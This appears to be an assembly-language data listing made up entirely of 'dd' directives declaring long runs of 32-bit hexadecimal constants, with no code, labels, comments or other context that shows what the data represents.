dd 4316E700h, 77F5E3B0h, 3209CCA8h, 0EF006921h, 58AABD16h
dd 0C035D274h, 0E3579A19h, 0E61EFD01h, 3C40A8FAh, 66187245h
dd 0A5C90094h, 0AE832D86h, 0FE008F5Fh, 0F801D982h, 0A0F246DCh
dd 56C49F98h, 36207072h, 7E9F014h, 0E4D898D4h, 1C8C8CFDh
dd 67233840h, 50ACA12Ah, 0A4D00EC3h, 7EC84A01h, 23F4DAE7h
dd 1A562183h, 407C9A70h, 0AE0CEF50h, 81843210h, 1AE09841h
dd 898507Ch, 0B81218B0h, 20243976h, 0A2FC2152h, 50111AE6h
dd 1C181D42h, 843982E8h, 41F05D65h, 0A86800h, 683506DEh
dd 6BC4083h, 7139D2A6h, 0E52A4300h, 84733AEDh, 0B34A0097h
dd 99221C69h, 7F614683h, 55A85BA0h, 607CBC0h, 0A52660F1h
dd 88185098h, 0EB89DD37h, 0C12D00FFh, 14CCF1E9h, 10526B6h
dd 8906601Fh, 7F749F02h, 88CBD20h, 47D40DABh, 0A374507Ch
dd 16ED0F8Ch, 8851B03Dh, 0C0639E40h, 0EDE76A16h, 7402A041h
dd 0C2C458C5h, 1CF483B4h, 0B1558B19h, 502005CFh, 0CE8C1A80h
dd 6CBDE041h, 0C05CB994h, 0F0DB41A9h, 0EC4630ACh, 0BA371E50h
dd 0A3057A18h, 268C1840h, 0BC48241Ah, 0FAFC3C4Ch, 0FAE3A447h
dd 94502EC4h, 0F38B447Ch, 8300C4A4h, 29514F18h, 9A7841EFh
dd 819B00C4h, 65F2B160h, 0FA66D583h, 0E218509h, 8B60793Bh
dd 5C991E40h, 0F0C24D8Eh, 4874AE55h, 301349D4h, 76F940F6h
dd 9900B606h, 0BC1D41Ch, 170867Bh, 4AC017FBh, 24A7B526h
dd 68301A94h, 0FAF6C96Ch, 2A18C288h, 0D4A3F020h, 89008740h
dd 36A2D119h, 22E3AAh, 46E53A8Eh, 96061B3h, 0B008D005h
dd 1482D7FDh, 4CE0A3C6h, 0F5F02329h, 0AB607B01h, 7F1895F2h
dd 733588h, 27635760h, 0DB92ED79h, 58F5F731h, 9C03EB8Ah
dd 0C482CAAAh, 8F088170h, 32A60514h, 0A0F0A074h, 0A76CA2E0h
dd 3C92A5h, 0F7392F1Eh, 23539531h, 0BD5F101h, 8364131Bh
dd 0FE0C30B8h, 0AC48A8C4h, 0A02A2210h, 34F9DA0Ah, 9C118CE4h
dd 56700E51h, 5E077F7Eh, 67F0913Ch, 29A07826h, 11807AB3h
dd 607F80F1h, 8C75F2AFh, 398144h, 99056077h, 0FC490DE8h
dd 11C47258h, 0AC08454Eh, 651FFDF2h, 1830821Dh, 0C8338h
dd 77918FFBh, 4CDE0BC9h, 90068424h, 1A0333A4h, 185EBC54h
dd 0A0602610h, 0D9C02BD3h, 0BB205866h, 35161F8Ah, 7ABC4786h
dd 0D640A095h, 0A04D291Eh, 76906270h, 0A4B50056h, 0DB81D3A6h
dd 0AAA5C441h, 0ED369100h, 190CC170h, 30507E64h, 32D410DCh
dd 0D9B902F1h, 0A0A11144h, 0B8AA7FA8h, 0CD16037Ah, 951E2597h
dd 21A80830h, 1B8A2E4h, 836D393Dh, 0C0AA50D0h, 23051884h
dd 0E6CA4EEh, 0C04A2C08h, 1680B8B0h, 0B3229D46h, 0B8A8DE01h
dd 765C9CD5h, 0F822C450h, 39AE2C52h, 445E1297h, 838438h
dd 37727BBFh, 9492D6h, 0ECE63CF9h, 0A3455F60h, 8CC587Eh
dd 9221EEh, 83ADE644h, 0F7358759h, 378F801Eh, 3ACA00A2h
dd 0F86708C9h, 0F00FDD7h, 69F4F2C5h, 752E8B03h, 2CB648E2h
dd 7680C803h, 28DD428Ch, 4CA5E5C0h, 8D63E4C4h, 0B820F098h
dd 0FB75E500h, 711E5E09h, 1AE4A185h, 0B9009023h, 21E2A823h
dd 0BF4D1DA6h, 0B110851Ch, 675EA840h, 11DC01Ah, 5DB77F14h
dd 0EC69FDF4h, 167CC222h, 0AC666328h, 0C077B0C8h, 60E9E641h
dd 0EF224746h, 0E6499700h, 9EE03976h, 0BEB802A5h, 0F26455A9h
dd 22EC03E1h, 0DA34808Ch, 1170F0h, 2637B798h, 8940192Bh
dd 8E43F4A8h, 92F3F800h, 74C2E634h, 5B103FD8h, 3EA30802h
dd 0DC623C07h, 5CC05CB3h, 60CB59B6h, 0F8E010D2h, 48EF007Ah
dd 3A0DBD25h, 0DB044F62h, 8BC403EEh, 0F9375098h, 74FBD180h
dd 2441092Bh, 0D78DD626h, 86F1F900h, 601B2ADAh, 0F66029D3h
dd 0C0917D0Ch, 35C68404h, 82F9DC04h, 0AF304978h, 0A528C9B8h
dd 10B47831h, 0B8A7E1h, 9378EC2h, 48E5A1DBh, 5AEC20E3h
dd 0B05B00EBh, 6430592Ah, 4D22B302h, 384CB85Fh, 8C73E440h
dd 0EDE63D04h, 0F0626760h, 0E6B09327h, 430E0h, 49E8A95Fh
dd 825832AEh, 53B068C0h, 7A291316h, 0E8122EF8h, 0CF5CA6F0h
dd 84281A82h, 32507C14h, 0CB318744h, 0B400D466h, 0D3AC391h
dd 0F8C98693h, 42ED019Dh, 826AF52h, 3FF89017h, 98AA6C0Ch
dd 80B8BF39h, 5496FB09h, 5AC0A5FEh, 10C23098h, 399F2CD3h
dd 2AD501A8h, 0C9ACEB8h, 449F0FCh, 539CFA41h, 70389775h
dd 199005EFh, 0C1EC2F01h, 4634D218h, 8CF41460h, 0AA607A04h
dd 68679DF2h, 60723480h, 2E2B211h, 0B4F0A955h, 0BCC8E97Ah
dd 3B62A684h, 0B25CDAD1h, 0E410E594h, 74A603Eh, 0F84900D2h
dd 78203871h, 0DB6672B4h, 20802971h, 24A0F726h, 23834A3Ah
dd 8001EED8h, 6DF2B060h, 3A800073h, 0B156078h, 96002B72h
dd 0D84EAFBFh, 48F6BCF2h, 4B5F005h, 922C20h, 781FE5C1h
dd 603CAD52h, 0F131763Dh, 0F4136E00h, 0A855324Fh, 0AF0D2671h
dd 6FEC084h, 14B99F81h, 0C63C884Ah, 0EAE63E02h, 0C0674F60h
dd 0E6469400h, 96D2C453h, 0EE9080C4h, 71CF4839h, 0F3F0B314h
dd 0D26C00B0h, 0ACF2A84Dh, 84DE51E2h, 49F69420h, 30048C7Ch
dd 4757812h, 3CA3ECDAh, 0C0DC1E24h, 0F41CDAE0h, 854DB738h
dd 67840BABh, 18637025h, 0A3C5EDB0h, 58AFAC21h, 0E014789Fh
dd 0C15160C8h, 506F40E2h, 3012D6ACh, 0D8095101h, 531BFC44h
dd 90CCCACDh, 0EDC724B6h, 80A61148h, 0B04016E8h, 34448CEBh
dd 16F00966h, 0CC6487A4h, 0AB925D00h, 0BCFCC3A9h, 7AB100B0h
dd 0F0B9A8C7h, 0ED6106D4h, 3CB84698h, 0AE3E744Eh, 3C4280BAh
dd 0A9381B46h, 5CF01210h
dd 0D9909299h, 65BC982Bh, 481898EFh, 5703ECF1h, 2291520Dh
dd 6AFFEAA0h, 5E1C3CA4h, 206480EEh, 0C4A84572h, 7F1760EFh
dd 0CA2F00A2h, 32AF2235h, 64A277B4h, 86F45CC0h, 8031CF87h
dd 961B856Eh, 370E0456h, 9C8CC4D0h, 0DA005828h, 317FCCFAh
dd 928C1250h, 14C10018h, 6C19D570h, 9CA8A3B1h, 69128AC5h
dd 50894D07h, 0E956B440h, 288AC82h, 0F09DD458h, 18E040DAh
dd 7516798Fh, 0F8041069h, 7601DE86h, 4D6654h, 24D6DCFBh
dd 1EA810D5h, 0C03197DAh, 7C0A582Ch, 9FC7F52h, 9D7EA34Eh
dd 803C9188h, 0B079E905h, 59CD09FDh, 84010DB1h, 9932B68Ch
dd 0A7584B88h, 160BE918h, 45F3B041h, 0F1678038h, 0E6061716h
dd 0D47AB606h, 3E0F32Ah, 0DCF0D8B9h, 11270776h, 912417D9h
dd 6C318287h, 8859AFh, 66EEF020h, 7A504AE5h, 1E8CF22Ch
dd 91AC607Ch, 8082888Dh, 38607436h, 6E01BA81h, 331A5DE1h
dd 9C22A8D4h, 22B01416h, 0EC30A23Ch, 533C7F16h, 628088CBh
dd 0E54C16F4h, 0D22E2C1Ch, 869A19B0h, 68D80324h, 726763EBh
dd 1A516AB8h, 22171F02h, 0E0975E42h, 80E952D8h, 0EF024B0Ch
dd 64A9F94h, 2814D18Dh, 1C784688h, 6048E642h, 4A98702Fh
dd 61038AFEh, 20859A6Eh, 0B4939186h, 40A8843Ch, 74282086h
dd 82FA9083h, 0BA2AAC03h, 6400D32Bh, 0E12050E2h, 30190EE7h
dd 0C6011B20h, 0B0B5BA58h, 1069BB5Eh, 0C139D5B8h, 32B21652h
dd 9A11C071h, 0B02824h, 1F057639h, 0FC556419h, 100C635Ch
dd 0E900D9C2h, 5812BAC1h, 0EDFEFB66h, 0A801ECBBh, 0AF469869h
dd 70AE30C6h, 4E086498h, 1941C1Ah, 6AC72A9h, 458BED4h
dd 0F8314F54h, 1A758CF0h, 0C1B57B12h, 35117817h, 1AB10B80h
dd 70DD8FB8h, 12B04482h, 0AA34E8D0h, 0BBD413EEh, 9C3404E1h
dd 0D2D8F460h, 0A1493860h, 25FE8Bh, 85749B55h, 5663CC5Ch
dd 48365A00h, 44127115h, 39A80345h, 0B6D29DB5h, 9910E815h
dd 0E0F400A8h, 3322B719h, 1D3409CFh, 9080419Bh, 0A4CE73BDh
dd 821E062Ch, 0A6019420h, 2A75D5C7h, 5824F822h, 39FA76B3h
dd 0A43C20B4h, 9EB0E033h, 5C166104h, 14A02A1Eh, 0CA550ADh
dd 35AA2D54h, 4C2F022h, 0CBF6DA21h, 0F810E1A5h, 32009E11h
dd 8F075492h, 36D6AAh, 199AFE86h, 10DC4E78h, 8887648h
dd 1CCE72D9h, 4116DA6Ch, 2C4B3C41h, 0B8B1C060h, 8C951681h
dd 0DFAA44h, 0C0C7B8A9h, 3C85FE83h, 0CE2F6F0Bh, 1B6C8093h
dd 60EE8C21h, 2A7BC054h, 88AAA523h, 0E344B067h, 6A705B60h
dd 20C2A25h, 0F40A74h, 46BA5464h, 4E0069D5h, 8423F82Fh
dd 0AC44803Ah, 7F21B312h, 50EFE830h, 40A6C4FEh, 0E62CE52Eh
dd 740868A3h, 68172FA2h, 81803E91h, 5F45D39Ch, 6EA38B12h
dd 2D020C0Bh, 3C4029E4h, 48ED1E5Eh, 7A012C77h, 25458C1Fh
dd 22A851F8h, 748F10D4h, 9CFDF48Eh, 0F5C1C00Ch, 3658437Eh
dd 304E0BECh, 480B297h, 436079C4h, 607AE7E6h, 99581C9Ch
dd 9DE6014Bh, 50EAD485h, 0C1A83874h, 2B3E5C78h, 0F1258839h
dd 0C1E69C00h, 0D8C52877h, 40C81144h, 0B42A004Eh, 5AB968DDh
dd 5C09E97Fh, 487844FEh, 0B8484F68h, 96602064h, 4BB65900h
dd 0AC7A294Ch, 3C084C3Eh, 784E9686h, 0A030D22Ah, 0C300A3FEh
dd 6EB7F24Ah, 2618E36Dh, 0B204B22h, 4091AA30h, 14620D31h
dd 953040E2h, 4E2F870h, 5C90FC0Ch, 4B50E0FAh, 7C32AE0Ah
dd 0FE0034ABh, 2A747F49h, 9E289E1Fh, 9C50C8E0h, 5EC57907h
dd 98DC029Bh, 25340A8Ch, 0F84B2018h, 389BE52Ch, 28E2408h
dd 6D380AAEh, 1F91E890h, 24B9D940h, 92EC51D6h, 0FB744953h
dd 0E12E5C81h, 0DCE030CFh, 0F652B413h, 26D01891h, 244A3021h
dd 0E7BF404h, 5AC0F312h, 80E56434h, 0D6382089h, 0BC47708Bh
dd 0E3608064h, 6C0444B2h, 1F3F2BBEh, 0F2F0A0C0h, 0B92A0690h
dd 30A4298Ah, 91F8DA15h, 17303F90h, 388073F0h, 0CB66B472h
dd 7001E9D9h, 2C7EA10Fh, 0A7541030h, 0A0EE5E05h, 33B0A076h
dd 13701020h, 22285D40h, 7E30F024h, 0F2AE1760h, 14CB7Dh
dd 0FD607638h, 309C99E8h, 2A19795Ch, 6FABF55h, 709D4932h
dd 0D8C410h, 33D25F23h, 8EBCF456h, 5AEE0F12h, 783ED402h
dd 310E3DCEh, 6D2F8388h, 4CEEE843h, 64A24D64h, 50FFA13h
dd 17C97FFh, 0A6DCF0DCh, 8AC68E4h, 292C0E8Ch, 39D30820h
dd 82A67B00h, 7E621148h, 92FC0020h, 0EF721ACAh, 1D7D3C30h
dd 0CB0060B1h, 890A503Dh, 16DD4A47h, 84A3106Ch, 829CEE08h
dd 90801110h, 2661BBEDh, 1972E406h, 73984850h, 0B8EC80B6h
dd 0E33A90D9h, 8C0ED821h, 0E0CFE288h, 0BF415223h, 7DB20458h
dd 0C163BAA9h, 72480Ch, 0C036D2B8h, 617DC9F1h, 0C009D4Ah
dd 2317C1FFh, 587493h, 0D3D5E1A9h, 0FD018333h, 965D3Fh
dd 19210F7Bh, 41BF61h, 1EE6D887h, 99DAD1DBh, 0C269571Dh
dd 0A000DE24h, 37D2CB6Ah, 7DAA0C8Dh, 0D308553Fh, 630521C0h
dd 360BCBh, 683B0D73h, 740CEF8Ch, 7B26B606h, 1E289258h
dd 80DD89C0h, 9AEF4C3Ch, 7F600211h, 0F51B9918h, 92E60071h
dd 7DF63E1h, 60008D1Ah, 6FF3266Ch, 1641D854h, 1F82EF11h
dd 9A38B05Ah, 3C004F2Fh, 1B382514h, 300CBD92h, 6D7894F4h
dd 0E738F6E9h, 698231C0h, 30C4EC77h, 14671CDh, 8A49F86h
dd 9181645Fh, 6E805BF8h, 6D37D6CBh, 1C9448Ch, 0C7CB671Dh
dd 0FDB29640h, 6004E171h, 0DB5099E8h, 151B0599h, 6190BAB4h
dd 13BD6860h, 7F919C88h, 3B51C118h, 7EDF0314h, 7CE69219h
dd 6300207Ch, 34E37D47h, 7D528h, 5E6FEB22h, 95B02C08h
dd 0AC62902h, 80A26D19h, 0F02B86E4h, 4818C0ADh, 0A68FE92h
dd 0EEFC7F18h, 718E669h, 0C0C628D7h, 38CB1631h, 2340407h
dd 1EC027F1h, 0C3B93D01h, 25054419h, 8E7F3002h, 0A09658CFh
dd 3E54B9E8h, 5A21030Bh, 4A18C49Dh, 21AF0832h, 0BAB5C057h
dd 0F263072Dh, 8FB074h, 0DDCA876h, 500ADE39h, 0E63069D0h
dd 8A1F17Eh, 1C5673D7h, 338AB605h, 21059609h, 0FDD710C1h
dd 6118CA00h, 0A09DD29Eh, 3D1C39ACh, 92A4A98Dh, 9FAC0840h
dd 452CAF03h, 51809A7h, 802059FDh, 2D0367E0h, 28A63830h
dd 30F2640Eh, 6E8DFD2h, 9061C91h, 873EC25Fh, 16246A8h
dd 84FD70Dh, 0FA0DB5EDh, 0D715BA20h, 910F00D8h, 0CC328465h
dd 0B201353Ch, 77379B10h, 102095DBh, 41A24118h, 809CCD00h
dd 32AF38A8h, 90785E0Dh, 0F7F7724h, 2ED5196Ah, 20F0811h
dd 0D8AE8F8Bh, 0C6057020h, 0D3795A4h, 215C08BEh, 0D0754Dh
dd 166337F0h, 54066AF2h, 14A50824h, 688D7F02h, 461048BCh
dd 5ADC3CB3h, 26862500h, 31DF6FE1h, 392A0AFCh, 8098867h
dd 10825C44h, 80D39D40h, 49C0C468h, 73BC80E0h, 19BE0D8Bh
dd 0F121A20Dh, 0C2FF04AEh, 0CCA19A2Eh, 41B5940Dh, 81D93984h
dd 31166BF0h, 3880A679h, 0BA0F381h, 9360C435h, 9585C028h
dd 1F110FD1h, 417339CEh, 9143734h, 158819Dh, 2449A215h
dd 7E60830h, 4C41D953h, 8E208C89h, 69D5ED0Ah, 0D378205Bh
dd 97188C3Ch, 7FB9A514h, 0F1C76002h, 0AFE54437h, 420318C1h
dd 4CD07412h, 9D30C0Eh, 80C8C71Dh, 823E1092h, 39669C35h
dd 7282F59Eh, 8A8B9034h, 530D3CA8h, 91F030AAh, 0AFCDF120h
dd 5202C822h, 69C62688h, 0A0C4E860h, 9A821080h, 8019488Ch
dd 4CC8D010h, 87790168h, 934D1485h, 9929A0B1h, 948AE466h
dd 8440CE57h, 2520CBDDh
dd 0EF8027F6h, 0B154262Ch, 98249CB8h, 418360A0h, 39EF509h
dd 47D0825Ah, 5E6C6089h, 6089FF72h, 2400B8BBh, 85D141DBh
dd 0D2BAEC1Fh, 9497C50Ah, 6C5472C0h, 0B498C696h, 0B00B9EFh
dd 8486C47Ah, 0F70C443Ah, 3C6B9802h, 9B2D09A0h, 57E148C3h
dd 0CF190093h, 0DAC6B0ABh, 44180716h, 7838A9FCh, 50052603h
dd 4C408304h, 0B0407D58h, 0B56044D4h, 4A037341h, 791C1AB8h
dd 4881E89Bh, 123A0C1h, 1ECB0A9Ah, 136806B9h, 4E4250Dh
dd 1CAAC898h, 1898CF0Ch, 17B7012Fh, 2BFEA096h, 41C8255Ch
dd 2249FCF8h, 201C3E2Ch, 0A0F880AEh, 42BD8095h, 3FD1DD00h
dd 0EB1A85D2h, 80640463h, 0C4B30440h, 0CC648258h, 5104D86Ch
dd 62210C3Eh, 5420A362h, 0B8FC3E59h, 4BA80972h, 10A49488h
dd 8880CE8Eh, 1C94C58Dh, 0F9BBD9E0h, 63E0509Dh, 0D500B642h
dd 199288A7h, 206ED77h, 8FBBFC07h, 9881D948h, 81268A5Fh
dd 2BAEEF80h, 383488C0h, 0C4C82439h, 0E624BB20h, 0B5DC0878h
dd 1FF84000h, 926E4405h, 6C4F0054h, 5ECAA90Fh, 0ACA9B968h
dd 2BFBCF2Ah, 33C7D8F0h, 39246E12h, 0B008EC52h, 93D6C711h
dd 62A4056Eh, 0CE4B239Ah, 373C24A8h, 0E9143806h, 46491B79h
dd 89D73C12h, 9CCE056Fh, 0CF4C3AD4h, 60BD5583h, 0DBB889E1h
dd 0C49FF3Fh, 596630A4h, 0F22C065Eh, 1688A49Eh, 483F695Dh
dd 0E9CF6754h, 15F682D7h, 8054C5B6h, 0F2D712BFh, 0CBB030E4h
dd 78547317h, 311E2040h, 9A41B0EDh, 0A93420F8h, 0B1D104B1h
dd 5300E918h, 4F24942Fh, 0F7FB8CB3h, 7A966820h, 2F7B4A11h
dd 3CC233Ch, 0AE60EA8Bh, 8C80097h, 4B8B03Ah, 0F802A641h
dd 0B02627BEh, 0D70617AEh, 9C1A2007h, 0F9617A6Eh, 8030FF48h
dd 0F01892F4h, 844CF1B4h, 687079h, 34132682h, 0BEEACF3Ah
dd 7E8CDF4Ch, 2ADBBCA8h, 906F0C26h, 9CC1C538h, 0C32FEC50h
dd 7DFD7FBBh, 0C9F0E1h, 0AB36113h, 0DE07BC45h, 150CED5Ch
dd 42CC8205h, 24012848h, 0FCADE800h, 2D70AF4Ch, 0D372ECh
dd 5F021868h, 9352609Fh, 2921BD25h, 6C6C0230h, 0B0A00A5h
dd 9F50E119h, 3A2A82E8h, 84E0D09Ah, 0C9FC31C0h, 0FFEA8E0h
dd 50407C69h, 0FD880936h, 7AE53C23h, 2B8A100h, 7F19B5A2h
dd 18E4A146h, 80A55711h, 2930D159h, 5D10D8h, 0F7928C51h
dd 4CEE353Fh, 0D1845F02h, 83722F2Ah, 48CD6DA4h, 0F0026898h
dd 9CA14EA3h, 836430C1h, 0E57A1059h, 0A8810087h, 6B1DDA73h
dd 0EA50224Dh, 37099AD3h, 8E6FE03Fh, 24B88808h, 0BAB028A0h
dd 51736200h, 84C41BBDh, 0D6DCF950h, 32011E88h, 6C919EA1h
dd 6411B045h, 51D70B80h, 0B543DD08h, 0BC038C22h, 8F1CD713h
dd 4C89CBDh, 9049140Eh, 8C1C80Ah, 2189D42Ch, 35880138h
dd 441985C5h, 0CC8899B0h, 446853EBh, 0F3394A2h, 0A416FA1Ah
dd 0E402AD20h, 1548BE5Ch, 2D058118h, 10009B04h, 3977191Fh
dd 7348B082h, 56ADF40Dh, 0E050B469h, 71048C5Eh, 5537D9CBh
dd 24DC1CE2h, 0AE2C0CF0h, 0B0A269F0h, 0B14EB4E7h, 8700C289h
dd 52500D0Bh, 9B2EDA01h, 7A08143Bh, 27F5C20h, 0D696E32h
dd 3C40E863h, 444C6D89h, 0AB038FD4h, 266496F0h, 40206958h
dd 6C264E66h, 7C8A258h, 0B17DE144h, 0D6761D40h, 71082475h
dd 65B1130h, 8E3D14BFh, 7D663C48h, 0B20C3740h, 0A0930BD0h
dd 0F9784071h, 9E408212h, 2088C822h, 22180DA2h, 10CA8302h
dd 0C3770374h, 9839DE04h, 0D918F930h, 0BE8896F3h, 8ED83067h
dd 0CCA0D14Eh, 0F12DDB5Ah, 0F808464Eh, 0CB70C05Dh, 18F737D8h
dd 68FF88D5h, 0ADFECB00h, 0E38EB72h, 85BB2AF8h, 997409Ch
dd 14BE4212h, 0E00D2C30h, 0C2B0B99Ah, 5020A943h, 12B56C88h
dd 41C3E5CEh, 8C4C0814h, 168020A4h, 1042314Ah, 0C414BD81h
dd 4BFCEC9Ch, 0C50C1F07h, 0CC888E4Ch, 1E897EE0h, 94BAB1E8h
dd 0F5AF8864h, 0CA116826h, 0E3E4F80h, 448C7221h, 572452A5h
dd 301843Eh, 0A9243A7Ah, 0E515AC28h, 6450946Fh, 0E048C63h
dd 0F50850D7h, 0BB209662h, 0B3D716h, 0CDC1FEE5h, 351FDBDh
dd 0A5585212h, 44F0C28h, 5D279068h, 89088236h, 44805E24h
dd 0C084E66Ah, 5026A059h, 31000CBFh, 3F1CBA94h, 18CAD26Bh
dd 518916BDh, 0C3095C2Fh, 0A4D8B2F7h, 38A49898h, 681048EBh
dd 7590C139h, 26E3899h, 0D90B845Ah, 788480D1h, 1F6869E0h
dd 2B51E38h, 26C0FC35h, 0CA448C52h, 403C4A82h, 85D418C8h
dd 4F50F82Fh, 0F44136C8h, 45CDFF0h, 68882BB4h, 3A3C95ABh
dd 3C72354h, 64BE20D0h, 19A42B8h, 0CA0CC8A4h, 7855DB39h
dd 1C8881Dh, 10D49D24h, 708F803Ah, 0C42B865Eh, 8C099ADh
dd 32006B57h, 7C264381h, 0E5191F10h, 62718BCEh, 9F581C82h
dd 0AC880105h, 0D39D00E3h, 0A98FCE83h, 0D2099802h, 60B11CB9h
dd 7DFE5524h, 610D1F84h, 0B26D80CFh, 4203F736h, 4C2EDB5Ah
dd 0BF008C7Ah, 8CFAEF16h, 13628806h, 8E1709AAh, 0FE92C8A8h
dd 11C20BEFh, 8AE33921h, 37D79803h, 9A4B52Ch, 44710D30h
dd 0C19E0B84h, 397DA1A8h, 4ABE0EB0h, 942C04C3h, 7C7AE490h
dd 38DF48DCh, 27C12910h, 6D6CA069h, 4D1591h, 0D15C5302h
dd 0C52AE723h, 968EC58h, 26DCD560h, 96518C44h, 0F2A04B0h
dd 191D0924h, 7830D100h, 0BA2404Dh, 0D3BD3E03h, 77C69909h
dd 5AD805C8h, 0C3571E96h, 0E1620D20h, 50B3EA60h, 6DE0ADCh
dd 662C1C89h, 0C32178E6h, 67F58810h, 0A8E4B8A0h, 40B86484h
dd 0C766461Fh, 0D1064410h, 0D32034B0h, 505E4977h, 91CA1681h
dd 77D06D57h, 0BA1306FEh, 10040F4Eh, 5C4B8819h, 50FD1801h
dd 51F89ED8h, 72A92AA0h, 3B9E0CB4h, 0F659AA10h, 2C307C4Ch
dd 70620058h, 148500A2h, 449E84F1h, 0A8050360h, 9384B49Ah
dd 576840B5h, 0C7083FDBh, 10AB309h, 67904228h, 6693447Ch
dd 2246026Eh, 98CF7F13h, 0FD01A866h, 1EC1E5E3h, 0B059425Fh
dd 84C32030h, 84B168E4h, 7315003Eh, 0F355498h, 9490077h
dd 0D3BF5E5h, 380C97AEh, 0D07CA2C9h, 680E886Ah, 80797639h
dd 0F20D1F36h, 0C1CE57E0h, 0D5012061h, 2C1422BCh, 97A55053h
dd 82A491E4h, 0C4E50A4Dh, 0BF7104h, 0D9235B75h, 4B18D731h
dd 0F9EB6312h, 0A170D01Fh, 594C3505h, 8447A4B2h, 48A34311h
dd 424816F8h, 89A8B428h, 9D69E8C8h, 0C1D86880h, 6D1C9719h
dd 0C09464ACh, 237C440h, 0B9902B8Dh, 0C4E0D939h, 40A0ADD4h
dd 0EC889AF5h, 2200B8B7h, 0F40CC67Dh, 38CE5EB0h, 9E4E7C36h
dd 0A91488B4h, 9F111C02h, 72844130h, 13565B60h, 0C0942BFEh
dd 8A7A9924h, 20671029h, 301B90E2h, 5F16CB37h, 483AD0D4h
dd 1500CC23h, 0BED45A77h, 39243B22h, 27EA4081h, 309811F4h
dd 9A2DE16Ch, 821C2304h, 0F8417840h, 86109C0Bh, 20CAD8E0h
dd 0C910619Fh, 0D330B06Dh, 0E84F0431h, 773CC701h, 0C9A2F51Eh
dd 97D4D740h, 905E1769h, 1648C1D5h, 85D1086h, 0BAE4282Ch
dd 20706080h, 7EC14CAFh, 2488ACBCh, 0B391FB4h, 0F8B18C85h
dd 0E16E1098h, 13D87E3Fh, 4937295h, 19B4800h, 35011EDFh
dd 90E04464h, 79F12540h, 8E06D42Ch, 831406E8h, 4EB4DAC4h
dd 8C7DA42Fh, 0E76F6B15h, 9AA51090h, 9453A805h, 4A6CA395h
dd 9823A42Bh, 3BE8A900h, 4ABF2792h, 80605E58h, 42E64F02h
dd 0BA0F0BB1h, 20CE0175h, 930A64DBh, 51033E69h, 6A04708Bh
dd 0A538EC02h, 0E8C8D06Ch, 91D2C715h, 18F6056Ah, 0CA478894h
dd 141C7C98h, 0F94B5D43h
dd 15A8220Dh, 358203C1h, 0E6808000h, 0DAC3DC4Fh, 348B0998h
dd 0DC62960Ch, 0BE523C81h, 0FC83216h, 896DE9F2h, 0C1103B7Fh
dd 3024C305h, 0F4FA5C3Ah, 0AC28B5B2h, 9806611h, 0D0853D7h
dd 9522B643h, 0D711BE00h, 304C1475h, 0D69205CEh, 80DC0302h
dd 3C1F8900h, 549A54FCh, 57C7390Ah, 6687BCADh, 70B10668h
dd 28914403h, 205C2CBEh, 0D839681h, 2C79049Bh, 69762F00h
dd 0B71C2D05h, 0DF10C0CFh, 0B460D013h, 23083E55h, 3C204221h
dd 3E5D5800h, 9C72D871h, 0F96301D4h, 198CD5Bh, 82F864ADh
dd 31943C30h, 5CF5150h, 2CEFCDB4h, 237CA26Ch, 0CB6F0B5Ch
dd 0B2658484h, 2C8C0h, 3B9C754Eh, 7610CF39h, 0E527FA12h
dd 0A0986810h, 12D94380h, 8FB4FC7Fh, 0C0C988A4h, 0CEDC380Bh
dd 1BF03E01h, 0C044093Ch, 5870583Ch, 3582F449h, 0EC0ABA24h
dd 9C48D15h, 20703483h, 0B9073F14h, 0A3FC28CCh, 8210F684h
dd 50B068D8h, 3A8A4C20h, 3F803D79h, 0A61860F2h, 0FC056DC4h
dd 86099A80h, 0C668E446h, 3DF6A9h, 2D1BE0B8h, 4AD0E7A9h
dd 0F2965F09h, 44541695h, 541206AFh, 0F091AB74h, 680167D8h
dd 0D059A19Ch, 7018D3D1h, 0B94AB58h, 84E93B47h, 0E640B0E8h
dd 6EC6C418h, 44740898h, 48032E5h, 0A14C0C83h, 0D2F944F4h
dd 89B03218h, 41770320h, 0C43950ECh, 42F54F98h, 0F4C153CCh
dd 0F14AEC69h, 6E34306Ch, 1C0058E0h, 63D2B569h, 62743503h
dd 7909689Dh, 0A001C4B3h, 0A635BD4h, 0CC3C6519h, 9C2C0605h
dd 14940591h, 9D08C2CEh, 13FB9A27h, 78281758h, 814C9286h
dd 2001A8A7h, 33A86EADh, 2093E437h, 2808E8ABh, 2C700044h
dd 0F0E10209h, 494C1A88h, 50A00766h, 0DFB1D34Ch, 10266D6Ah
dd 0C95C205Ah, 9D121C10h, 0D70424B1h, 4087BE72h, 48F2A8F4h
dd 3FFC85C1h, 15C69B5h, 0A2FE3268h, 68280166h, 315E0070h
dd 7FF9E4C8h, 5090D18Bh, 30D7DB33h, 0AD908905h, 4C032040h
dd 20092D9h, 34BB6280h, 0BCDAC524h, 2CF93924h, 3A40BA44h
dd 28154DB6h, 2EA9C403h, 107AF423h, 4AB04E0h, 0CE95319Eh
dd 80D024C2h, 3862C5CCh, 7A0B1270h, 184046Eh, 39DB00C4h
dd 19FCEFE8h, 99239665h, 25C2659h, 37D4CB6Ch, 950E77Dh
dd 2C806503h, 0CDA94DC8h, 0B21FF709h, 10E4EC54h, 589CA415h
dd 0B0012A00h, 9266B0A1h, 0B00CC279h, 2482997Dh, 480E22Dh
dd 8E53B5A9h, 0C2C9C8A8h, 8E0CE61h, 0F025747h, 0DE40E236h
dd 0C851F1h, 49CB2074h, 9A000F6Bh, 4F863634h, 8A2F96h
dd 0DB8D1AF4h, 4ADF877Fh, 8E984901h, 5951EF6Ch, 0DD01D032h
dd 252FA433h, 4430D835h, 0D0D8752Ch, 9940938h, 0E43C659Ah
dd 0BFE6198h, 0AE96EF4h, 0AD4434ABh, 8E7142A0h, 0DB526872h
dd 30D4F28Ch, 5075E72Ch, 983EF44Ah, 5AF95A23h, 27DBC10Bh
dd 0EC6C4D59h, 18C8BBCh, 1EFD7F0Ah, 80BD4131h, 0BE8106C8h
dd 0C5A1D919h, 0C4ADE910h, 0E8E0BC4Ch, 82018CCAh, 0E427FD88h
dd 0F04279EBh, 8DE64137h, 0FC04542Bh, 2FCCF424h, 5D0380A9h
dd 804CB8E1h, 0D02F4A48h, 1200B123h, 3F5EA274h, 26353D73h
dd 75092089h, 0C018B8ABh, 0D74B1EE6h, 44FD109Ch, 0B30E27C7h
dd 7610301Dh, 0FC876035h, 18B4E594h, 0B84316B0h, 0B2742288h
dd 5E0E14A2h, 59706CFBh, 2C60B33Dh, 9F380B3Ch, 7F1A6014h
dd 64E07E2Ah, 2BA80C08h, 0D290A3B0h, 994965F8h, 98C84A54h
dd 447F4118h, 0C81C1064h, 29351518h, 0A095077Fh, 199712E8h
